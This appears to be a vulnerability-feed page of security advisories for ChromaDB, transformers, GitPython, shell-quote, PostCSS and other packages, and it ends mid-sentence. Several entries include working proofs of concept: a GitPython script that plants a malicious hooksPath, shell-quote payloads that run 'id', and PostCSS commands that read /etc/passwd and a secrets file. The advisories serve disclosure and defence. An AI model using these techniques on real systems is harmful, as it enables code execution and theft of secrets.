Where
AND
-Infinity
0
Severity
10
Code Injection
AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

A pre-authentication, code injection vulnerability in version 1.0.0 or later of the ChromaDB Python project allows an unauthenticated attacker to run arbitrary code on the server by sending a malicious model repository and trustremotecode set to true in the /api/v2/tenants/{tenant}/databases/{db}/collections endpoint.

1 / 2
Source: Red Hat
First published (updated )
Severity
9.8
Out-of-bounds Read
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Memory-safety vulnerability in github.com/jackc/pgx/v5.

First published (updated )
Severity
9.8
OS Command Injection
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

IBM Concert 1.0 through 3.0.1.1 contains components that allow potentially unsafe command execution, which could be exploited to run arbitrary system commands on the host.

1 / 2
Source: MITRE
First published (updated )
Severity
9.8
OS Command Injection
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

IBM Concert 1.0 through 3.0.1.1 allows an attacker can supply crafted input that is incorporated into an operating system command without adequate validation or sanitization. Successful exploitation allows remote attackers to execute arbitrary commands on the underlying operating system with the privileges of the affected service.

1 / 2
Source: MITRE
First published (updated )
Severity
9.6
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

A vulnerability in the LightGlue model loading path of huggingface/transformers version 5.2.0 allows an attacker-controlled model repository to execute arbitrary code during model initialization. The issue arises because the trustremotecode parameter, intended to prevent remote code execution, is overridden by untrusted serialized configuration data in a nested code path. Specifically, when loading a LightGlue model using AutoModel.frompretrained() with trustremotecode=False, the LightGlueConfig reads the trustremotecode value from the untrusted config.json file and propagates it into nested AutoConfig.frompretrained() calls. This results in the execution of attacker-provided Python modules, even when the victim explicitly disables remote code execution. The vulnerability poses a high risk for environments such as API inference servers, research notebooks, CI/CD pipelines, and model evaluation workers, potentially leading to credential theft, lateral movement, or persistence/backdoor deployment.

First published (updated )
Severity
9.4
Code Injection
AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

A code injection vulnerability in version 0.4.17 or later of the ChromaDB Python project allows an authenticated attacker to run arbitrary code on the server by sending a malicious model repository and trustremotecode set to true in the /api/v2/tenants/defaulttenant/databases/defaultdatabase/collections/{collectionid} if they have the UPDATECOLLECTION permission.

1 / 2
Source: Red Hat
First published (updated )
Severity
9.3
Code Injection
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

- CWE: CWE-88 (Argument Injection) / CWE-94 (Code Injection) — via a read-then-corrupt-on-rewrite config round trip, not a direct setter argument - Affected component: git/config.py — GitConfigParser.read() (multi-line value decoding, lines 444-541, esp. stringdecode() at line 460 and its call sites at 519/541) and GitConfigParser.write()/writesection() (serialization, lines ~694-712, esp. line 708) - Affected version: GitPython at HEAD (9729ed3b948f2bde09f1f188c5311e172212b67e, 2026-08-05, VERSION 3.1.58)

Reachability GitPython added UNSAFECONFIGCHARSRE / valuetostringsafe() / assureconfignamesafe() guards (commits c417af46, 1ed1b924, a495ccd3, and PR #2176) to reject a Python string containing a raw \r/\n/NUL byte, or syntax-bearing characters, when it is passed as an argument to set(), setvalue(), addvalue(), or addsection(). This closed the four config-injection GHSAs above.

That guard is applied only on the write-argument surface. It is never consulted for values that entered GitConfigParser.sections via read() — i.e. values that came from parsing an on-disk config file. And read() legitimately supports standard, spec-compliant git config syntax for multi-line values: a quoted value that is not closed on the same physical line continues onto the next physical line (git's own backslash-continuation syntax), and stringdecode() (.decode('unicodeescape')) decodes a literal two-character \n escape sequence inside such a value into a real embedded LF character in the resulting Python string. No raw control byte is ever written to disk to achieve this — it's the same syntax real git itself uses and accepts.

The bug is in what happens when that GitConfigParser is later flushed: writesection() (line ~694) calls the unsafe self.valuetostring(v) — not valuetostringsafe() — and "handles" any embedded newline in the value with .replace("\n", "\n\t") (line 708), emitting a bare, unquoted <real newline><tab> in the output file with no re-quoting and no backslash-continuation marker. Real git does not treat an indentation-only continuation the way GitPython's writer assumes — a value only continues across physical lines when the previous line ends in a literal \ immediately before the newline. So the moment writesection() re-serializes a previously-decoded multi-line value this way, the second half of that value becomes an independent, new config line the next time anyone (GitPython or real git) parses the file. If an attacker chooses the dormant value's content to be <anything>\nhooksPath = <attacker path>, that second line is parsed as a brand-new core.hooksPath = <attacker path> directive — live, real Git configuration, not a value.

core.hooksPath is honored by essentially every hook-firing git operation (commit, checkout, merge, push, rebase, ...), giving arbitrary code execution the next time the host application performs any hook-triggering operation.

Root cause GitConfigParser's injection guard is asymmetric: it hardens every write-argument entry point (the fix for the four sibling GHSAs) but never hardens the read → corrupt-on-rewrite round trip. A value that is 100% legitimate and inert as parsed from disk becomes a newly-injected directive purely through GitPython's own broken re-serialization logic (writesection() using the unsafe value-to-string path plus a continuation scheme real git doesn't recognize). The c417af46 commit message even states its intent explicitly: "This preserves existing read behavior for config files that already contain multiline values while preventing GitPython from writing new unsafe values" — i.e. the maintainers consciously scoped the fix to the write-argument surface and did not address what happens when an already-resident multi-line value gets rewritten.

Exploit path 1. A .git/config (or any file merged into it via [include], see below) already contains a dormant, syntactically-legitimate multi-line quoted value, e.g.: [core] zzz = "A\nhooksPath = ../evil-hooks\ " No raw \r, \n, or NUL byte appears on disk — this is standard git quoting + backslash-continuation. Real git config --get core.hookspath returns nothing at this point (inert); git config --get core.zzz returns the decoded string A\nhooksPath = ../evil-hooks, identically to GitPython's own reader. 2. The host application opens this repo with GitPython (git.Repo(path), readonly=False implicitly for a normal configwriter() use) and performs any single, unrelated, legitimate config write on the same GitConfigParser instance — e.g. repo.configwriter().setvalue("user", "name", "Test User"). This is one of the most ordinary operations a GitPython-based tool performs. 3. GitConfigParser.write()/writesection() re-serializes every resident value, including the dormant zzz entry, using the unsafe path. The file on disk now contains, verbatim: [core] ... zzz = A hooksPath = ../evil-hooks 4. Real git config --get core.hookspath now returns ../evil-hooks — a key that did not exist before step 2, created purely by GitPython's own write. 5. The next hook-firing git operation (e.g. git commit) executes ../evil-hooks/pre-commit (or whatever hook name the operation looks for), i.e. arbitrary attacker-chosen code execution.

Impact Arbitrary code execution, on par with (and more directly triggered than) the already-accepted, High-severity GHSA-mv93-w799-cj2w/GHSA-v87r-6q3f-2j67 "Newline injection... enables RCE via core.hooksPath" advisories, and requiring no unsafe caller argument at all — only an attacker-influenced config file plus one ordinary, unrelated write.

Preconditions - A config file GitPython opens read-write already contains an attacker-chosen, syntactically-valid multi-line value shaped like <anything>\n<injected-key> = <injected-value>. Realistic delivery: 1. Pre-existing .git directory shipped with a repository — vendored/template repos, CI workspace/layer caches that preserve .git, "repo" tarball/zip distributions that include .git/config. The poisoned value sits directly in .git/config. 2. The documented shared-config [include] pattern ([include] path = ../<repo-tracked-file>, pointing at a file inside the working tree) — GitConfigParser.read() merges included files' sections into the same sections dict used for writing, so a malicious public repository can ship the poisoned value inside a normal tracked file and have it activated the first time any GitPython-based tool performs any unrelated config write after clone (this requires the victim's own .git/config to already reference the include, e.g. via project setup tooling that adds include.path). 3. Any host application that opens an attacker-influenced config file for read-write and later performs a legitimate write — the exact trust-boundary the maintainers already accepted as realistic for GHSA-v87r-6q3f-2j67 (their writeup cites MLRun's project.push()). - No authentication/role requirement inside GitPython itself.

Evidence - git/config.py:460 (stringdecode), invoked at git/config.py:519 and :541 inside read()'s multi-line handling — decodes unicodeescape, turning a literal \n escape into a real embedded LF. - git/config.py:~694-712 (write()/writesection()) — uses self.valuetostring(v) (unsafe variant) and .replace("\n", "\n\t") with no re-quoting. - c417af46 (the CR/LF/NUL guard commit) touches only the setter path and explicitly states it preserves existing read behavior for multi-line values, per its own commit message. - git log -S"stringdecode", -S"writesection", -S'replace("\n", "\n\t")' on git/config.py show these code paths have only ever been touched by non-security formatting/refactor commits (a5fc1d86, b825dc74, cb68eef0, 21ec5299), never by a security fix. - PoC (gitpython-002-poc.py, embedded below) reproduces the full chain end-to-end against this exact checkout: dormant value → one unrelated configwriter() write → core.hookspath becomes live per real git config --get → a subsequent git commit executes the injected hook and writes a benign marker file.

False-positive check (adversarial re-read) - Is this just a repeat of the four already-fixed config-injection GHSAs? No — all four require the caller to pass a Python string containing a raw control character or forbidden syntax character as an argument to a setter; all four are now blocked by UNSAFECONFIGCHARSRE/VALIDCONFIGOPTIONNAMERE/the section quote-state-machine. This finding requires no such caller argument: the payload is smuggled entirely inside a config file using standard, valid git escaping that the guard never inspects, and only becomes dangerous through GitPython's own unguarded re-serialization of a value it already holds. Confirmed via known-advisories.json (26 entries, none withdrawn) — none describe this read→corrupt-on-rewrite mechanism. - Does real git actually round-trip this value safely (i.e. is this a GitPython-only bug, not a "normal" file)? Yes, confirmed empirically: after the same crafted .git/config is rewritten by real git config user.name Test2 (a control test), the multi-line zzz entry is preserved byte-for-byte in its original quoted/continuation form — only GitPython's writer corrupts it. - Is there a guard elsewhere that would catch the resulting bare hooksPath = ... line before it's trusted? No — once on disk, it is indistinguishable from a directive the user set intentionally; core.hooksPath is honored unconditionally by git's hook-invocation machinery. - Does this require an unrealistic precondition? The precondition (a config file with attacker-influenced content, later legitimately rewritten) mirrors the exact threat model the maintainers already treated as realistic and fixed for GHSA-v87r-6q3f-2j67. - Verdict: no concrete blocker found. CONFIRMED — reproduced independently end-to-end (dormant value in place → benign unrelated configwriter() write → core.hookspath live per real git → hook fires on git commit, marker file written).

Remediation Either (a) make writesection()/write() use valuetostringsafe() (or equivalent re-quoting) for every resident value, including those that originated from read(), so an embedded newline is always re-emitted as a properly quoted+backslash-continued value rather than a bare new line, or (b) reject/neutralize embedded control characters in values at read time before they can reach sections at all if the parser is opened in readonly=False mode, or (c) canonicalize output using git's own git config --file <path> --replace-all semantics instead of a hand-rolled writer. Option (a) is the most surgical fix and matches the spirit of valuetostringsafe() already used on the setter path.

Confidence High. Root cause independently re-derived and confirmed by direct code reading; full exploit chain (dormant value → benign unrelated write → live core.hookspath → hook execution with a benign marker) reproduced twice, independently, against the current HEAD.

Proof-of-Concept source (gitpython-002-poc.py)

python #!/usr/bin/env python3 """ GITPYTHON-002 PoC: a dormant, legitimately-encoded multi-line git-config value (standard quoted + backslash-continuation syntax, containing an escaped "\\n" that decodes to a real embedded newline in memory) is corrupted into a NEW, live config key the moment GitConfigParser re-serializes it during any unrelated write. If the smuggled second "line" looks like "hooksPath = <attacker path>", it becomes a real, active core.hooksPath after one unrelated GitPython config write, and fires attacker code on the next hook-triggering git operation (e.g. git commit).

This is CWE-88/CWE-94 style argument/config injection, but via the READ path (a config file GitPython parses and later rewrites), not via a Python kwarg argument -- distinct from the already-fixed GHSA-mv93-w799-cj2w / GHSA-v87r-6q3f-2j67 / GHSA-3rp5-jjmw-4wv2 / GHSA-jm78-9fvv-mhgr, which all guard the setter-argument surface only.

Run: PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-002-poc.py <workdir>

Benign: only writes/reads inside <workdir>. The "malicious" hook just writes a marker file; no destructive/exfiltrating payload. Exits non-zero and prints "NOT VULNERABLE" if the corruption / hook does not fire. """ import os import subprocess import sys

def main(): workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-002-poc" repodir = os.path.join(workdir, "repo") hooksdir = os.path.join(workdir, "evil-hooks") marker = os.path.join(workdir, "PWNEDMARKER.txt")

for p in (repodir, hooksdir): os.makedirs(p, existok=True) if os.path.exists(marker): os.remove(marker)

subprocess.run(["git", "init", "-q", "-b", "main", repodir], check=True) subprocess.run(["git", "-C", repodir, "config", "user.email", "test@example.com"], check=True) subprocess.run(["git", "-C", repodir, "config", "user.name", "Test"], check=True)

# Rewrite .git/config with a dormant, 100%-valid multi-line quoted value # inside [core] (before any other section). No raw CR/LF/NUL byte is # written to disk here -- this is standard git config quoting + # backslash-line-continuation, decoded by both real git and GitConfigParser # into the Python string 'A\nhooksPath = ../evil-hooks'. cfgpath = os.path.join(repodir, ".git", "config") with open(cfgpath) as f: original = f.read() poisonedentry = '\tzzz = "A\\nhooksPath = ../evil-hooks\\\n"\n' # Insert right after the [core] header line so it lives in the same section. newconfig = original.replace("[core]\n", "[core]\n" + poisonedentry, 1) with open(cfgpath, "w") as f: f.write(newconfig)

# Confirm it's inert per real git before touching GitPython. pre = subprocess.run( ["git", "-C", repodir, "config", "--get", "core.hookspath"], captureoutput=True, text=True, ) if pre.returncode == 0: print("SETUP ERROR: core.hookspath already set before GitPython touched anything") sys.exit(2)

# Malicious hook: benign marker only. hookpath = os.path.join(hooksdir, "pre-commit") with open(hookpath, "w") as f: f.write('#!/bin/sh\necho "PWNED-VIA-GITPYTHON-CONFIG-INJECTION" > "%s"\nexit 0\n' % marker) os.chmod(hookpath, 0o755)

import git # gitpython under test

repo = git.Repo(repodir) before = repo.configreader().getvalue("core", "zzz") print("core.zzz before any GitPython write =", repr(before))

# ONE totally unrelated, benign write -- this is the only "attacker-adjacent" # action required, and it is something virtually every GitPython consumer # does routinely (setting an option, adding a remote, updating a branch's # tracking config, ...). with repo.configwriter() as cw: cw.setvalue("user", "name", "Test User")

post = subprocess.run( ["git", "-C", repodir, "config", "--get", "core.hookspath"], captureoutput=True, text=True, ) if post.returncode != 0: print("NOT VULNERABLE: core.hookspath still absent after the unrelated write") sys.exit(1)

injectedpath = post.stdout.strip() print("core.hookspath is now LIVE after one unrelated write:", injectedpath)

# Trigger the hook with a normal commit to prove it fires. with open(os.path.join(repodir, "file2.txt"), "w") as f: f.write("change\n") subprocess.run(["git", "-C", repodir, "add", "file2.txt"], check=True) subprocess.run( ["git", "-C", repodir, "-c", "user.email=t@example.com", "-c", "user.name=T", "commit", "-q", "-m", "trigger hook"], check=True, )

if os.path.isfile(marker): with open(marker) as f: content = f.read().strip() print("VULNERABLE: hook fired, marker content =", content) sys.exit(0) else: print("NOT VULNERABLE: hook did not fire") sys.exit(1)

if name == "main": main()

1 / 2
Source: GitHub
First published (updated )
Severity
9.2
EPSS
0.85%
OS Command Injection, Command Injection
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

shell-quote's quote() function did not validate object-token inputs against the operator model used by parse(). The .op field was backslash-escaped character by character using /(.)/g, which in JavaScript does not match line terminators (\n, \r, U+2028, U+2029). A line terminator in .op therefore passed through unescaped into the output; POSIX shells treat a literal \n as a command separator, so any content after it would execute as a second command.

The vulnerable code path is reachable in two ways. Neither requires the parser to misbehave — parse() only emits ops from a fixed control set — but both are documented API surface:

1. Direct construction. A caller builds { op: '...\n...' } from external input (e.g. a deserialized argument array) and passes it to quote(). 2. envFn return. parse(cmd, envFn) is documented to splice the return value of envFn into the result array when it is an object. An attacker-influenced data source consulted by envFn can introduce an object token whose .op reaches quote().

Impact

Shell command injection in callers that pass object tokens with attacker-influenced .op values to quote() and then hand the result to a shell. The preconditions are narrower than ordinary string injection — they require the caller to feed object tokens into quote() — but object tokens are a public, documented part of the API surface, and quote() is intended to be a shell-safety boundary.

PoC

js const { parse, quote } = require('shell-quote');

// Direct construction quote([{ op: ';\nid' }]); // → "\;\n\\i\\d" ← literal newline; second line executes as a command

// Via parse() with an envFn returning attacker-shaped objects const tokens = parse('echo $X', () => ({ op: ';\nid' })); require('childprocess').execSync(quote(tokens), { shell: true }); // Executes id after echo \;.

Confirmed under sh, bash, dash, and zsh.

Patch

Fixed by replacing the per-character escape with strict shape validation in quote(). The object-token branch now:

- { op } — .op must be a string from the same allowlist the parser emits (||, &&, ;;, |&, <(, <<<, >>, >&, <&, &, ;, (, ), |, <, >). Anything else throws TypeError. This is the direct fix for the reported issue and removes the entire class of .op injection. - { op: 'glob', pattern } — .pattern must be a string with no line terminators. Glob metacharacters (, ?, [, ], {, }, ,) pass through; all other shell-special characters are backslash-escaped. (Previously the pattern field was discarded entirely and the literal string \g\l\o\b was emitted — a latent bug, not security-relevant.) - { comment } — .comment must be a string with no line terminators (line terminators would end the shell comment and resume command parsing — same injection shape). - Any other object shape — TypeError.

The fix is allowlist-based rather than a targeted regex tweak, so it closes the reported vector and forecloses adjacent ones (U+2028 / U+2029 line separators in .op, line terminators in comments, unknown-shape objects coerced through .replace).

Workarounds

Prior to upgrading, callers that build object tokens from untrusted input should validate .op against the parser's operator set themselves, and never construct { op } from attacker-controlled strings.

Credits

Reported by Akshat Sinha

1 / 3
Source: GitHub
First published (updated )
Severity
9.2
AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Impact

The frame format in draft versions of the WebSocket protocol includes a length header that allows an arbitrarily large integer to be encoded as a sequence of bytes with the high bit set. By sending an indefinite sequence of bytes with values 0x80 or above, a client can make the server parse these bytes into an ever-growing integer. Since JavaScript numbers are 64-bit floating point values, this number will eventually lose precision and lead to the subsequent payload being parsed incorrectly.

Patches

The issue has been patched in version 0.7.5 by rejecting the message if the length header exceeds the configured maximum message length. All users should upgrade to this version.

Workarounds

No known workarounds exist.

Acknowledgements

This issue was discovered and reported by Pranjali Thakur, DepthFirst Security Research Team.

1 / 2
Source: GitHub
First published (updated )
Severity
9.2
OS Command Injection
AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Impact

quote() emits a { comment } token as # followed by its text, which comments out the rest of the shell line, including the opening quote of any later string token. A line terminator in that later string ends the comment, and the rest of the string is parsed as shell input:

js quote(['echo', 'ok', { comment: 'x' }, 'a\nid;#']); // echo ok #x 'a // id;#'

Passed to sh, bash, dash, ksh, or zsh, this runs id.

parse() emits a comment token for a # in the middle of a word (for example http://example.com/#frag), so callers that combine parse() output with another untrusted string, such as quote(parse(untrustedCommand).concat(untrustedArg)), are affected. The fix for CVE-2026-9277 rejected line terminators in the comment's own text, but not in the tokens after it.

Exploitation requires an attacker-controlled string containing a line terminator that follows a { comment } token in the same quote() call.

Patches

Fixed in v1.11.0: quote() throws a TypeError when a string after a { comment } token contains a line terminator (\n, \r, U+2028, or U+2029).

Workarounds

Drop every token after a { comment } token before calling quote(), or reject line terminators in untrusted strings. Separately, do not append other shell text after quote() output that contains a comment, since the comment swallows it.

1 / 3
Source: GitHub
First published (updated )
Severity
9.1
Path Traversal
AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N

Summary

langgraph-sdk constructs HTTP request paths for resource operations by interpolating caller-supplied identifier values into URL templates. Without sanitization of those values, identifiers that contain characters with special meaning in URL paths could cause the resulting request to address a different resource (and potentially a different resource type) than the SDK method's call site indicates. In deployments where the SDK receives identifier values that originate from untrusted sources, this could result in unintended access, modification, or deletion of resources beyond the calling user's authorization scope.

This issue is most consequential in deployments that:

- forward end-user-supplied values directly into SDK identifier parameters without first validating them against an expected format (such as a UUID), and - rely on URL-prefix-based authorization at an upstream layer (reverse proxy, edge gateway, WAF), where the authorization decision is made on the SDK call's intended path rather than on the final delivered request path.

There have no evidence of this behavior being triggered in the wild. This change is intended to reduce the surface available when caller-supplied identifier values originate from untrusted sources.

Affected users / systems

You may be affected if you:

- use langgraph-sdk (Python) to address resources by identifier, and - pass identifier values into SDK methods that originate from end-user input, untrusted third-party callers, or any source that does not validate identifier format before the SDK call.

Applications that validate identifier values (for example, by parsing them as UUIDs and rejecting anything that does not parse) before passing them to SDK methods are not affected. Validated UUIDs round-trip through the SDK request path unchanged.

Impact

- Potential unintended access, modification, or deletion of resources via SDK methods called for a different resource type, when caller-supplied identifier values are not validated. - In deployments with prefix-based authorization at an upstream layer, the authorization decision and the final delivered request path may diverge. - Confidentiality: disclosure of resource content beyond the authorization scope of the calling user. - Integrity: modification or deletion of resources beyond the authorization scope of the calling user.

Patches / mitigation

The SDK now applies path-segment encoding to identifier values before they are interpolated into request URL templates. After this change, identifier values that contain characters with special meaning in URL paths are transmitted as encoded byte sequences and routed to the resource the SDK method's call site indicates.

Compatibility

Identifier values that match the standard UUID format, or any other format that contains only characters safe to transmit unencoded in URL path segments, round-trip through the SDK request path unchanged. Applications that already validate identifier inputs see no behavioral change.

Operational guidance

- Validate identifier values (typically as UUIDs) at the boundary where untrusted input enters the application, before passing them to SDK methods. - For deployments relying on URL-prefix-based authorization upstream of LangGraph, prefer authorization at the LangGraph server layer or on parsed-and-validated request paths rather than on raw URL prefixes.

LangSmith / hosted deployments note

This issue affects the SDK that runs in caller applications. The LangGraph server runtime, including LangSmith-hosted deployments, receives ordinary HTTP requests on documented routes and is not itself affected by this issue. Applications that consume LangSmith-hosted services via langgraph-sdk and pass untrusted identifier values to SDK methods should upgrade.

First reported by: pucagit (CyStack).

1 / 2
Source: GitHub
First published (updated )
Severity
9.1
Path Traversal
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Impact

When extracting an archive to a directory, a crafted archive can read or write files outside that directory. The flaw is in the code that writes the parsed entries, so it affects every format decompress handles: tar, tar.gz, tar.bz2, and zip by default, plus any others added through the plugins option.

A link (hardlink) or symlink entry is created without checking where its target points. A hardlink can be aimed at any file the running process can read; that file then appears inside the output directory and its contents are exposed. A symlink can point outside the output directory and redirect a later write.

The path containment check used a string prefix comparison (realPath.indexOf(outputPath) !== 0). Output /srv/out does not contain /srv/out-old, but the prefix comparison treats it as inside, so an entry can escape into a sibling directory whose name starts with the output directory name.

File modes were applied as mode & ~umask, which does not remove the setuid, setgid, or sticky bits. A crafted entry can create a setuid or setgid file. This matters when extraction runs as root, for example in CI, containers, or install scripts.

Any code that extracts archives from an untrusted or attacker-influenced source is affected. Archives are commonly downloaded before extraction, so this is reachable over the network in many setups.

Patches

Fixed in @xhmikosr/decompress 10.2.1 and 11.1.3. Link targets are now resolved and checked against the output directory, containment uses path.relative, and setuid, setgid, and sticky bits are removed.

The upstream decompress package is unmaintained, and all versions through its last release (4.2.1) have the same flaws. There is no upstream fix. Migrate to @xhmikosr/decompress 11.1.3 or later.

Workarounds

Extract only archives you trust. Run extraction as a non-root user so the mode issue cannot create a privileged file. After extracting, reject any symlink or hardlink that points outside the target and any file with unexpected mode bits.

Resources

Related prior issue in the upstream project this package forks: CVE-2020-12265 / GHSA-qgfr-5hqp-vrw9 Fix commits and releases: https://github.com/XhmikosR/decompress/releases/tag/v10.2.1 https://github.com/XhmikosR/decompress/releases/tag/v11.1.3 https://github.com/XhmikosR/decompress/commit/aca5aac https://github.com/XhmikosR/decompress/commit/281cefa https://github.com/XhmikosR/decompress/commit/60b5299

1 / 2
Source: GitHub
First published (updated )
Severity
9.1
Path Traversal, Infoleak
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary

PostCSS's PreviousMap parses the /# sourceMappingURL=PATH / comment from any CSS string passed to process() and dereferences PATH against the local filesystem with no scheme, allowlist, or traversal check. An attacker who controls the CSS input can cause the host process to read any file readable by Node and leak the first ~10 bytes of its content through the resulting JSON.parse SyntaxError message. The bug also yields a precise file-existence oracle and a controllable-read primitive that may be combined with large-file targets for DoS. The behaviour is triggered with PostCSS's default options — no from, no map, no plugins required — and is therefore reachable from any pipeline that runs untrusted CSS through PostCSS (CMS themes, user-uploaded styles, browser-extension/userstyle processors, build pipelines for third-party packages, blog comment renderers, etc.).

Details

The dangerous chain lives in lib/previous-map.js and is wired into every Input construction at lib/input.js:70-77.

Input constructor (lib/input.js:70-77):

js if (pathAvailable && sourceMapAvailable) { let map = new PreviousMap(this.css, opts) if (map.text) { this.map = map let file = map.consumer().file if (!this.file && file) this.file = this.mapResolve(file) } }

PreviousMap constructor (lib/previous-map.js:17-29):

js constructor(css, opts) { if (opts.map === false) return this.loadAnnotation(css) this.inline = this.startWith(this.annotation, 'data:')

let prev = opts.map ? opts.map.prev : undefined let text = this.loadMap(opts.from, prev) ... }

Note opts.map === false is the only short-circuit. With default options (opts.map === undefined), the rest of the constructor — including the filesystem read — executes.

loadAnnotation (lib/previous-map.js:72-84) extracts the URL without sanitisation:

js loadAnnotation(css) { let comments = css.match(/\/\\s# sourceMappingURL=/g) if (!comments) return let start = css.lastIndexOf(comments.pop()) let end = css.indexOf('/', start) if (start > -1 && end > -1) { this.annotation = this.getAnnotationURL(css.substring(start, end)) } }

getAnnotationURL (lib/previous-map.js:59-61) only strips the /# sourceMappingURL= prefix and trims whitespace — no scheme check, no path normalisation, no allowlist.

loadMap (lib/previous-map.js:124-128) — when prev is absent and the annotation is not an inline data: URI:

js } else if (this.annotation) { let map = this.annotation if (file) map = join(dirname(file), map) return this.loadFile(map) }

If opts.from is unset, file is undefined and the raw attacker-supplied path (e.g. /etc/passwd) is used directly. If opts.from is set, path.join(dirname(file), attackerPath) is used. path.join does not block .. segments, so ../../../../../etc/passwd resolves outside the intended directory.

loadFile (lib/previous-map.js:86-92) is the sink:

js loadFile(path) { this.root = dirname(path) if (existsSync(path)) { this.mapFile = path return readFileSync(path, 'utf-8').toString().trim() } }

The bytes are stored in this.text. Input immediately invokes map.consumer() (lib/input.js:74), which constructs a SourceMapConsumer (lib/previous-map.js:33). When the file is not valid source-map JSON (the common case), source-map-js calls JSON.parse, and V8's SyntaxError message embeds the first ~10 bytes of the file content:

Unexpected token 'r', "root:x:0:0"... is not valid JSON

This error is propagated back to the caller. Any application that surfaces PostCSS errors (logs, HTTP 500 responses, build-tool output, debug pages) discloses those bytes to the attacker.

Trust-boundary analysis: Attacker controls: CSS input passed to postcss().process(css, opts?). Server resources: any file readable by the Node process — typically including app config, environment files, SSH keys, /etc/passwd, /proc/self/environ, etc. No mitigations: there is no path validation, scheme allowlist, traversal check, or symlink check. The only relevant check (startWith(annotation, 'data:')) routes inline URIs to decodeInline; everything else hits loadFile.

Primitives obtained: (a) Arbitrary file read — bytes loaded into Node memory. (b) Information disclosure — first ~10 bytes leaked via JSON.parse SyntaxError message. (c) File-existence oracle — non-existent paths return silently from loadFile (existsSync is false → returns undefined → no map text → no consumer call → no error). Existent non-JSON paths throw. Existent JSON paths succeed silently. Three distinguishable states. (d) DoS primitive — directing the read at /dev/zero, very large files, or device files can stall or crash the process.

PoC

All commands executed against this repository's HEAD (postcss 8.5.10) on Node v22.12.0.

Vector 1 — Absolute path, default options (no from, no map):

bash $ node -e 'const p=require("postcss"); \ try { p().process("a{color:red}\n/# sourceMappingURL=/etc/passwd /"); } \ catch(e){console.log(e.message)}' Unexpected token 'r', "root:x:0:0"... is not valid JSON

The first 10 bytes of /etc/passwd (root:x:0:0) are leaked.

Vector 2 — Relative .. traversal with opts.from set (simulates a build pipeline that pins from to the source file):

bash $ node -e 'const p=require("postcss"); \ p().process("a{color:red}\n/# sourceMappingURL=../../../../../etc/passwd /", \ {from:"/var/www/html/styles/main.css", map:{inline:false}}) \ .catch(e=>console.log(e.message))' Unexpected token 'r', "root:x:0:0"... is not valid JSON

path.join('/var/www/html/styles', '../../../../../etc/passwd') resolves to /etc/passwd.

Vector 3 — File-existence oracle:

bash Existing non-JSON file → throws (file confirmed to exist) $ node -e 'require("postcss")().process("a{}\n/# sourceMappingURL=/etc/passwd /")' SyntaxError: Unexpected token 'r', "root:x:0:0"... is not valid JSON

Non-existent file → returns silently (file confirmed absent) $ node -e 'r=require("postcss")().process("a{}\n/# sourceMappingURL=/no/such/file /"); console.log("ok")' ok

Vector 4 — Custom file-content leak:

bash $ printf 'APIKEY=sk-secret-12345\n' > /tmp/server-secret.env $ node -e 'require("postcss")().process("a{}\n/# sourceMappingURL=/tmp/server-secret.env /")' 2>&1 | head -1 SyntaxError: Unexpected token 'A', "APIKEY=sk"... is not valid JSON

The first 10 bytes of /tmp/server-secret.env (APIKEY=sk) are leaked — sufficient to confirm a token's presence and, in many cases, recover its prefix.

Filesystem-call trace (proves the read happens with no opts at all):

js const fs = require('fs'); const orig = fs.readFileSync; fs.readFileSync = function(p){ if (typeof p==='string' && p.startsWith('/etc')) console.log('[FILE READ]:', p); return orig.apply(this, arguments); }; require('postcss')().process('a{}\n/# sourceMappingURL=/etc/hostname /'); // → [FILE READ]: /etc/hostname // → SyntaxError: Unexpected token 'D', "Debian-tri"... is not valid JSON

Impact

Arbitrary file read of any file readable by the Node process from any CSS-processing context that accepts attacker-influenced CSS. PostCSS has hundreds of millions of weekly npm downloads and is the standard CSS processor for build tools (webpack postcss-loader, vite, parcel, Next.js, Gatsby, etc.) and for runtime CSS-handling libraries (CSS Modules tools, CSS minifiers, theme processors). Any pipeline that runs untrusted user CSS — CMS theme uploads, user-styled blog posts, browser-extension/userstyle services, multi-tenant build farms, third-party-package build pipelines — is exposed. Confidentiality leak of the first ~10 bytes of the targeted file via JSON.parse SyntaxError. This is enough to recover SSH-key headers, environment-variable prefixes (APIKEY=sk…), /etc/passwd records, the start of /proc/self/environ, and other high-value secrets, and to fingerprint the host (Debian-tri… from /etc/hostname). File-existence oracle with three distinguishable response states (silent success, JSON.parse error, no-such-file silence), enabling reconnaissance of the host filesystem layout and confirmation of installed software, user accounts, and configuration files. DoS by targeting /dev/zero, /proc/kcore, very large files, or named pipes — readFileSync is a synchronous, unbounded read. Default-on: triggered with postcss().process(css) and no options. The only configuration that 